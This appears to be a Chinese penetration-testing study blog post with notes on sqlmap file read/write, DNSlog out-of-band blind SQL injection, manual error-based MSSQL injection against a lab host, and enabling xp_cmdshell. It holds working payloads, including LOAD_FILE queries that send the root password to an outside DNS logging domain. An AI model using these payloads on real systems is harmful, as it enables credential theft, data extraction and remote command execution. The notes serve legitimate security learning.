2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记
sqlmap参数
--file-read,从数据库服务器中读取文件
--file-write,--file-dest,把文件上传到数据库服务器中
dnslog平台的学习和它在盲注中的应用
1,判断注入点
2,测试网站对DNSlog提供的url是否解析
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
SELECT LOAD_FILE,可以读文件,做DNS请求
例子,select load_file(group_concat('\\\\',(select concat(user,password)from users limit 3,1),'.6rylw1tbh2htjx3hap90nqqj8ae02p.burpcollaborator.net..\\aaa'));
如果网站的响应时间长的话,说明可以解析
3,使用concat拼接url和sql语句来注入得到数据
mssql手工注入
1,判断注入点,http://192.168.190.148/less-1.asp?id=1',提示 '1'' 后的引号不完整。 说明有注入点
2,判断数据库类型,http://192.168.190.148/less-1.asp?id=1' and exists(select * from sysobjects)-- ,有结果没报错说明后台数据库是sql server
还有其他方法,常用框架组合方法,例如常见的,asp+mssql,php+mysql/页面报错信息
3,select IS_SRVROLEMEMBER('sysadmin'); 判断当前是否为sa,http://192.168.190.148/less-1.asp?id=1' and (select IS_SRVROLEMEMBER('sysadmin'))>0-- 页面没报错说明是sa账户
select is_srvrolemember('db_owner'); 判断当前用户写文件、读文件的权限(db_owner),http://192.168.190.148/less-1.asp?id=1' and (select is_srvrolemember('db_owner'))>0--,页面没返回信息说明数据库没读写权限
select is_srvrolemember('public');判断是否有public权限,可以爆破表,http://192.168.190.148/less-1.asp?id=1' and (select is_srvrolemember('public'))>0-- 页面正常显示,说明有public权限
4,信息收集,当前数据库,数据库版本,
http://192.168.190.148/less-1.asp?id=1' and (select @@version)=1 --,会报错,返回结果会出来sql server版本
,http://192.168.190.148/less-1.asp?id=1' and (user)=1 -- [Microsoft][ODBC SQL Server Driver][SQL Server]在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。 爆出当前用户是dbo
http://192.168.190.148/less-1.asp?id=1' and (select db_name())=1 -- [Microsoft][ODBC SQL Server Driver][SQL Server]在将 nvarchar 值 'test' 转换成数据类型 int 时失败。 ,爆出当前数据库是test
SELECT db_name(0);函数从0开始,0为当前数据库,将db_name函数下的参数改变,可以爆出所有的数据库
http://192.168.190.148/less-1.asp?id=1' and (select top 1 name from master..sysdatabases where name not in ('aspcms','master','model')) >1--
select top 3 name from master..sysdatabases;可以查询所有数据库,加上条件,where name not in ('db_name','dbname') 表示找到的结果不在设置的集合,就可以爆出所有数据库
5,获取当前数据库的表
http://192.168.190.148/less-1.asp?id=1'and (SELECT top 1 name from test.sys.all_objects where type='u' and is_ms_shipped=0)>1-- ,获取第一个表名 emails
http://192.168.190.148/less-1.asp?id=1'and (SELECT top 1 name from test.sys.all_objects where type='u' and is_ms_shipped=0 and name not in ('emails'))>1-- ,获取除去emalis之后第一个表,not in里依次增加爆出的表,得到所有表
6,获取当前数据库指定表的字段
http://192.168.190.148/less-1.asp?id=1' and (select top 1 column_name from test.information_schema.columns where table_name='users')>1 --获取第一个字段
http://192.168.190.148/less-1.asp?id=1' and (select top 1 column_name from test.information_schema.columns where table_name='users' and column_name not in ('id'))>1 --,获取除了id之外的第一个字段,not in后依次增加字段就可以获得所有字段名
http://192.168.190.148/less-1.asp?id=1'and (select top 1 name from syscolumns where id =OBJECT_ID('users'))>1--,获取第一个字段
http://192.168.190.148/less-1.asp?id=1'and (select top 1 name from syscolumns where id =OBJECT_ID('users')and name not in ('id'))>1--,获取除了id之外的第一个字段,not in依次增加直到获取所有字段
7,获取表中指定字段的值
http://192.168.190.148/less-1.asp?id=1' and (select top 1 username from users)>1 --,获取指定字段的数据,字段只能1个1个修改注入
mssql的xp_cmdshell扩展
Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell',查询xp_cmdshell扩展是否打开
exec master..xp_cmdshell 'whoami' 调用xp_cmdshell扩展
提示报错,SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。打开查询分析器,执行即可
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记的更多相关文章
- 2019-9-9:渗透测试,基础学习,pydictor使用,sql盲注,docker使用,笔记
pydictor,强大的密码生成工具,可以合并密码字典,词频统计,去重,枚举数字字典生成字典python3 pydictor.py -base d --len 4 4 生成纯数字4位密码python3 ...
- Java学习-022-Properties 文件数据写入
Properties 配置文件写入主要通过 Properties.setProperty 和 Properties.store 两个方法,此文以一个简单的 properties 文件写入源码做示例. ...
- Java学习-019-Properties 文件读取实例源代码
在这几天的学习过程中,有开发的朋友告知我,每个编程语言基本都有相应的配置文件支持类,像 Python 编程语言中支持的 ini 文件及其对应的配置文件读取类 ConfigParse,通过这个类,用户可 ...
- Java学习-016-CSV 文件读取实例源代码
上文(CSV文件写入)讲述了日常自动化测试过程中将测试数据写入 CSV 文件的源码,此文主要讲述如何从 CSV 文件获取测试过程中所需的参数化数据.敬请各位小主参阅,若有不足之处,敬请大神指正,不胜感 ...
- SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}
首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...
- Java学习-017-EXCEL 文件读取实例源代码
众所周知,EXCEL 也是软件测试开发过程中,常用的数据文件导入导出时的类型文件之一,此文主要讲述如何通过 EXCEL 文件中 Sheet 的索引(index)或者 Sheet 名称获取文件中对应 S ...
- go学习之文件读取问题(需更新)
go学习之文件读取问题(需更新) 一,问题: 今天做一个GO广度迷宫问题时,出现了一个奇怪的问题. 就是通过fmt.Fscanf()读取文件时,每行末尾多出一个0. 二,问题代码: 1,输入文件maz ...
- SQL注入学习-Dnslog盲注
1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...
- 零基础到精通Web渗透测试的学习路线
小编相信很多新手都会遇到以下几个问题 1.零基础想学渗透怎么入手? 2.学习web渗透需要从哪里开始? 这让很多同学都处于迷茫状态而迟迟不下手,小编就在此贴给大家说一下web渗透的学习路线,希望对大家 ...
随机推荐
- 【原】iOS开发进阶(唐巧)读书笔记(二)
第三部分:iOS开发底层原理 1.Objective-C对象模型 1.1 isa指针 NSObject.h部分代码: NS_ROOT_CLASS @interface NSObject <NSO ...
- travis-ci + php + casperjs 持续集成
.travis.yml 文件添加内容: sudo: required language: php php: - 5.5 before_script: - npm install -g casperjs ...
- OptimalSolution(3)--链表问题(2)进阶
一.环形单链表的约瑟夫问题 二.判断一个链表是否为回文结构 三.将单向链表按某只划分成左边小.中间相等.右边大的形式 四.复制含有随机指针节点的链表 五.两个单链表相交的一系列问题 六.将单链表的每K ...
- unity射线检测
unity中射线检测时非常实用也经常实用的一种手段.下面讲解一下射线检测问题. 1)Ray 根据射线端点和射线的方向定义一条射线 Ray ray= new Ray(transform.position ...
- 第三十一章 System V信号量(二)
用信号量实现进程互斥示例 #include <unistd.h> #include <sys/types.h> #include <stdlib.h> #inclu ...
- 【AtCoder - 5659 】>< (思维题)
>< 直接写中文了 Problem Statement 给定的是长度为N-1的字符串S. S中的每个字符都是<或>. 当对所有i(1≤i≤N-1)都满足以下条件时,N个非负整数 ...
- Js对象继承小结
1.继承 对象的定义好用一些的一般是把实例对象的属性定义在类里面,通过this指针指向具体实例属性.定义对象的public方法时将其绑定到prototype中.子类在继承父类时可以通过对象冒充来继承父 ...
- 线段树合并学习笔记(P4556)
直入主题: 学习线段树合并..... 从名字就能看出,这个东西要合并线段树..... 线段树怎么能合并呢...... 暴力合就行了啊...... 一次从上往下的遍历,把所有的节点信息暴力合并,然后就没 ...
- SP5150 JMFILTER - Junk-Mail Filte(并查集)
直秒并查集.这题的难点就在于怎么删点.如果要删的是叶节点,那还好,直接刨掉即可 如果是中间节点甚至是根节点,那就不好办了..... solution: 对于独立一个点,我可以用邻接表模拟,然后用并查集 ...
- Apache Flink任意Jar包上传导致远程代码执行漏洞复现
0x00 简介 Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎.Flink以数据并行和流水线方式执行任意流数据程序,Fl ...